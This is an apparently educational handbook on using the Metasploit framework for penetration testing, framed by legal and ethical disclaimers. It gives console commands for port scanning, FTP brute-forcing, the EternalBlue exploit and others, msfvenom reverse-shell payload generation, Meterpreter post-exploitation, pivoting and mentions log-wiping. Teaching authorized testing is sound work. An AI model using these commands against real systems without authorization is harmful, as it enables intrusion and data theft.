METASPLOIT HANDBOOK

for Penetration Testing

VIEH GROUP
AKASH BASFOR

This handbook on Metasploit Penetration Testing is intended solely for educational and ethical purposes. It serves as a comprehensive guide to understanding the concepts and techniques related to penetration testing using the Metasploit framework. This book emphasizes the importance of obtaining explicit authorization before conducting any form of penetration testing. Unauthorized testing, even for educational purposes, is against the law and can result in severe legal consequences. The content within this handbook should be used responsibly and only within controlled environments where you have proper permissions. Never engage in any activity that compromises the security or privacy of systems, networks, or individuals without explicit consent. The primary goal of this handbook is to educate readers about penetration testing techniques, methodologies, and best practices. It provides insights into the capabilities of the Metasploit framework and how it can be used to identify and mitigate vulnerabilities.

If you plan to pursue a career in cybersecurity or penetration testing, always conduct yourself in a professional and ethical manner. Prioritize the security and privacy of all systems and data you encounter during your practice. Understand that laws related to cybersecurity and computer-related activities can vary significantly across jurisdictions. Familiarize yourself with the legal framework applicable in your region before engaging in any penetration testing activities. The authors and publishers of this handbook are not responsible for any misuse, damage, or legal consequences resulting from the implementation of techniques described within. It is the reader's responsibility to ensure compliance with all laws and regulations.

This handbook, titled "Metasploit Penetration Testing: An Educational Guide," along with all the materials contained within, is protected by copyright law. The authors and publishers, Akash Basfor and VIEH GROUP PVT LTD, hold exclusive rights to the content presented in this work.

Distribution, reproduction, transmission, or sharing of any portion of this handbook, whether in part or in whole, is strictly prohibited without explicit written consent from the authors and publishers, Akash Basfor and VIEH GROUP PVT LTD. Unauthorized distribution for commercial purposes, training, workshops, seminars, or any unauthorized dissemination is expressly prohibited and may result in legal action.

Although rigorous efforts have been made to ensure the accuracy and reliability of the information contained within this handbook, the authors and publishers, Akash Basfor and VIEH GROUP PVT LTD, cannot be held accountable for any errors or omissions. Readers are advised to use this content responsibly and to cross-reference with other reputable sources when necessary. The authors and publishers, Akash Basfor and VIEH GROUP PVT LTD, disclaim any liability for any damages, losses, or legal consequences arising from the utilization or misapplication of the information provided in this handbook. The use of this material is at the reader's own risk and discretion.

Any violation of the terms outlined in this copyright notice constitutes a breach of copyright law. Any such violation may lead to legal action in accordance with applicable copyright statutes.

By accessing, reading, or utilizing this handbook, you implicitly agree to comply with the stipulations and conditions outlined in this Copyright Notice. Should you require further information or seek permission to use specific content from this handbook, kindly direct your inquiries to the authors and publishers, Akash Basfor and VIEH GROUP PVT LTD.

TABLE OF CONTENTS

- Exploitation Techniques
  - Brute-forcing Credentials (**auxiliary/scanner/ftp/ftp_login**)
  - Exploiting Known Vulnerabilities (**exploit/windows/smb/ms17_010_eternalblue**)
  - Client-side Exploitation (**exploit/windows/fileformat/office_word_hta**)
  - Web Application Exploitation (**exploit/multi/http/php_cgi_arg_injection**)
- Payloads
  - Generating Payloads (**msfvenom**)
  - Reverse Shell Payloads (**windows/meterpreter/reverse_tcp**)
  - Bind Shell Payloads (**windows/meterpreter/bind_tcp**)
  - Payload Delivery Techniques
- Post-Exploitation
  - Meterpreter Command Basics
  - Gathering System Information
  - Privilege Escalation (**post/multi/recon/local_exploit_suggester**)
  - File System Operations
  - Pivoting and Port Forwarding (**post/multi/manage/autoroute**)
  - Covering Tracks

- Metasploit Automation
  - Using Metasploit Modules in Automation Scripts
  - Integrating Metasploit with other Tools (e.g., Nmap)
  - Writing Custom Metasploit Modules
- Reporting and Documentation
  - Creating Penetration Test Reports
  - Documenting Findings and Remediation Steps
- Case Studies and Examples
  - Real-world Penetration Testing Scenarios
    - Scenario 1: Corporate Network Assessment
    - Scenario 2: Web Application Testing

INTRODUCTION TO METASPLOIT

What is Metasploit?

Metasploit is an open-source penetration testing framework developed by Rapid7. It allows security professionals and ethical hackers to identify, exploit, and validate vulnerabilities in systems, applications, and networks. Metasploit provides a vast collection of exploit modules, payload generators, auxiliary modules, and post-exploitation tools, making it a powerful tool for security assessments.

Why Use Metasploit for Penetration Testing?

Metasploit offers a user-friendly interface and extensive functionality, which makes it an invaluable asset for penetration testers and security researchers. Some benefits of using Metasploit include:

1. Extensive library of exploits and payloads for various platforms and applications.
2. Automates the process of vulnerability scanning, exploitation, and post-exploitation.
3. Facilitates the management of remote sessions on exploited machines.
4. Simplifies the creation of custom exploits and payloads.

Understanding the Framework Architecture

Metasploit is built on a modular architecture, and it consists of the following components:

- Exploits: Modules that take advantage of vulnerabilities in target systems.
- Payloads: Code that gets executed on the target after exploitation.
- Auxiliary Modules: Scanning and information-gathering tools.
- Post-Exploitation Modules: Tools for interacting with exploited systems.
- Encoders: Transform payloads to evade detection.
- NOPS (No Operations): Used for payload generation.
- Listeners: Handles incoming connections from exploited systems.

INSTALLATION AND SETUP

System Requirements

Metasploit can be installed on various operating systems, including Windows, Linux, and macOS. System requirements depend on the host OS and the scope of usage (Community Edition or commercial editions).

Installing Metasploit

Installation procedures vary depending on the OS. For instance, on Kali Linux, you can install Metasploit using `**apt**`:

```
sudo apt update
sudo apt install metasploit-framework
```

Configuring the Environment

Before using Metasploit, ensure that your environment is correctly set up, and you have the necessary permissions and privileges. Make sure to update Metasploit regularly to access the latest exploits and features.

BASIC COMMANDS AND USAGE

`*msfconsole*`: Starting Metasploit Framework Console

Once installed, open a terminal and type `**msfconsole**` to start the Metasploit Framework Console. This is the primary interface for interacting with Metasploit.

`***use***`command: **Selecting an Exploit Module**

In the Metasploit Console, use the `***use***` command to select an exploit module. For example:

```
use exploit/windows/smb/ms17_010_eternalblue
```

`***show***`command**: Listing Available Modules**

To view available exploit modules or other types of modules, use the **show** command. For example:

```
show exploits
show payloads
show auxiliary
```

`*set*` command: **Configuring Exploit Options**

Before running an exploit, you need to configure its options using the **`*set*`** command. For example:

```
set RHOSTS 192.168.1.100
set RPORT 445
```

`*exploit*` command**: Launching Exploits**

After setting the options, use the **`*exploit*`** *command to launch the exploit. For example:*

```
exploit
```

`*sessions*` command**: Managing Sessions**

Once an exploit is successful, you can manage sessions with the target using the **`*sessions*`** command. For example:

```
sessions -l
sessions -i 1
```

`***post***`command: **Using Post-Exploitation Modules**
After gaining access to a target, you can use post-exploitation modules to perform various tasks. For example:

```
use post/windows/manage/migrate
```

SCANNING AND ENUMERATION

Port Scanning with Metasploit (auxiliary/scanner/portscan)

Port scanning is a vital phase in penetration testing. Use the `***auxiliary/scanner/portscan*** ` module to scan for open ports on target systems. For example:

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
run
```

Service Enumeration (`auxiliary/scanner/ssh/ssh_enumers`)

Service enumeration helps identify services running on open ports. Use `auxiliary/scanner/ssh/ssh_enumusers` to enumerate SSH users. For example:

```
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /path/to/userlist.txt
run
```

Vulnerability Scanning (`auxiliary/scanner/http/title`)

Metasploit can also perform vulnerability scanning using auxiliary modules. For instance, use `auxiliary/scanner/http/title` to gather web page titles. For example:

```
use auxiliary/scanner/http/title
set RHOSTS 192.168.1.100
run
```

EXPLOITATION TECHNIQUES

Brute-forcing Credentials (`auxiliary/scanner/ftp/ftp_login`)

Metasploit can be used for brute-forcing credentials on various services. For example, use `***auxiliary/scanner/ftp/ftp_login***` to brute-force FTP credentials:

```
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.1.100
set USERNAME_FILE /path/to/userlist.txt
set PASS_FILE /path/to/passwords.txt
run
```

Exploiting Known Vulnerabilities (`exploit/windows/smb/ms17_010_eternalblue`)

Metasploit is well-known for its exploit modules. Use `***exploit/windows/smb/ms17_010_eternalblue***` to exploit the EternalBlue vulnerability on Windows:

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.100
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
```

Client-side Exploitation (`exploit/windows/fileformat/office_word_hta`)

Client-side exploits target vulnerabilities in applications like Microsoft Office. Use `exploit/windows/fileformat/office_word_hta` to exploit a Word vulnerability:

```
use exploit/windows/fileformat/office_word_hta
set RHOST 192.168.1.100
set RPORT 80
set PAYLOAD windows/meterpreter/reverse_tcp
run
```

Web Application Exploitation (`exploit/multi/http/php_cgi_arg_injection`)

Metasploit also supports web application exploitation. For example, use `*exploit/multi/http/php_cgi_arg_injection*` to exploit PHP CGI arguments:

```
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.1.100
set RPORT 80
set TARGETURI /vulnerable_php.php
set PAYLOAD generic/shell_reverse_tcp
run
```

PAYLOADS

Generating Payloads (msfvenom)

Metasploit includes `***msfvenom***`, a powerful payload generator. Use it to create custom payloads for different platforms and purposes. For example, to generate a Windows reverse TCP Meterpreter payload:

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.10
LPORT=4444 -f exe > payload.exe
```

Reverse Shell Payloads (`windows/meterpreter/reverse_tcp`)

Reverse shells allow a remote connection to a system shell. For example, use `***windows/meterpreter/reverse_tcp***` as the payload:

```
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/meterpreter/reverse_tcp
```

Bind Shell Payloads (`windows/meterpreter/bind_tcp`)

Bind shells listen on a specified port and wait for incoming connections. Use `***windows/meterpreter/bind_tcp***` as the payload:

```
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/meterpreter/bind_tcp
```

POST-EXPLOITATION

Meterpreter Command Basics

When using Meterpreter as the payload, you gain an interactive shell on the target system. Some useful Meterpreter commands include `***sysinfo***`, `***getuid***`, `***shell***`, `***download***`, `***upload***`, and `***background***`.

Gathering System Information

Post-exploitation, you can gather information about the target system using various Meterpreter commands like `***ps***`, `***ifconfig***`, `***netstat***`, `***route***`, and `***sysinfo***`.

Privilege Escalation (`***post/multi/recon/local_exploit_suggester***`)

The `***post/multi/recon/local_exploit_suggester*** ` module helps suggest potential privilege escalation exploits based on the target's OS and installed software:

```
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
```

File System Operations

With Meterpreter, you can perform file system operations such as listing files, creating directories, reading files, and executing files.

Pivoting and Port Forwarding (`post/multi/manage/autoroute`)

Pivoting allows you to route traffic through an exploited system to access other parts of the network. Use `***post/multi/manage/autoroute***` for port forwarding:

```
use post/multi/manage/autoroute
set SESSION 1
run
```

Covering Tracks

Metasploit also provides modules to help cover tracks and delete logs on the exploited system.

METASPLOIT AUTOMATION

Using Metasploit Modules in Automation Scripts

You can write automation scripts that utilize Metasploit modules to perform specific tasks, combining the power of Metasploit with custom logic.

Integrating Metasploit with other Tools (e.g., Nmap)

Metasploit integrates well with other tools like Nmap. For example, import Nmap scan results into Metasploit:

```
db_import /path/to/nmap_scan.xml
```

Writing Custom Metasploit Modules

Metasploit allows you to create custom modules tailored to specific needs using Ruby programming.

REPORTING AND DOCUMENTATION

Creating Penetration Test Reports

After conducting a penetration test, document your findings, exploited vulnerabilities, and recommendations in a detailed report.

Documenting Findings and Remediation Steps

Provide clear documentation on how to reproduce the vulnerabilities and recommended steps to mitigate them.

CASE STUDIES AND EXAMPLES

Real-world Penetration Testing Scenarios

Explore case studies and real-world examples to gain practical insights into using Metasploit effectively in penetration testing.

Real-world Penetration Testing Scenarios

Scenario 1: Corporate Network Assessment

- Imagine you're tasked with assessing the security of a corporate network. You use Metasploit to conduct a comprehensive scan of the network, identifying open ports, services, and potential vulnerabilities. Leveraging Metasploit's exploit modules, you discover an unpatched vulnerability in a web server. By exploiting this vulnerability, you gain access to a user's workstation. You then use Meterpreter to pivot through the network, eventually finding sensitive employee data stored in an insecure directory. You document the findings and recommend patching and data protection measures.

Scenario 2: Web Application Testing

- In this scenario, you're hired to assess the security of a web application. After identifying the application's attack surface, you discover an SQL injection vulnerability. You use Metasploit's auxiliary modules to gather information about the database structure and user data. You then craft a custom payload using msfvenom to exploit the SQL injection flaw. This allows you to extract sensitive information from the database and demonstrate the potential impact of the vulnerability to the client.

As you conclude your journey through this handbook on Metasploit Handbook for Penetration Testing, remember that wielding the power of security tools like Metasploit comes with great responsibility. Ethical hacking is a critical practice that contributes to the safeguarding of digital ecosystems. While Metasploit offers remarkable capabilities for uncovering vulnerabilities, exploiting weaknesses, and assessing security, it must always be used within the bounds of legality and ethics.

Always obtain explicit authorization before conducting any penetration testing activities. The information and techniques presented in this handbook are meant to equip you with the knowledge required to enhance digital security and address vulnerabilities responsibly. Use this knowledge to protect, educate, and empower.

The dynamic landscape of cybersecurity demands constant learning and adaptability. Stay updated with the latest security trends, vulnerabilities, and patches. Engage with the cybersecurity community, share your knowledge, and collaborate to strengthen our collective defenses.

Remember that every exploit, payload, and scan carries the potential to impact real systems and lives. Strive for the highest level of professionalism, respect for privacy, and dedication to the betterment of digital landscapes.

Thank you for embarking on this educational journey. As you move forward, may your endeavors contribute positively to the realm of cybersecurity, creating a safer and more secure digital world for all.

Stay ethical. Stay secure. Stay vigilant.

Sincerely,
Akash Basfor, VIEH GROUP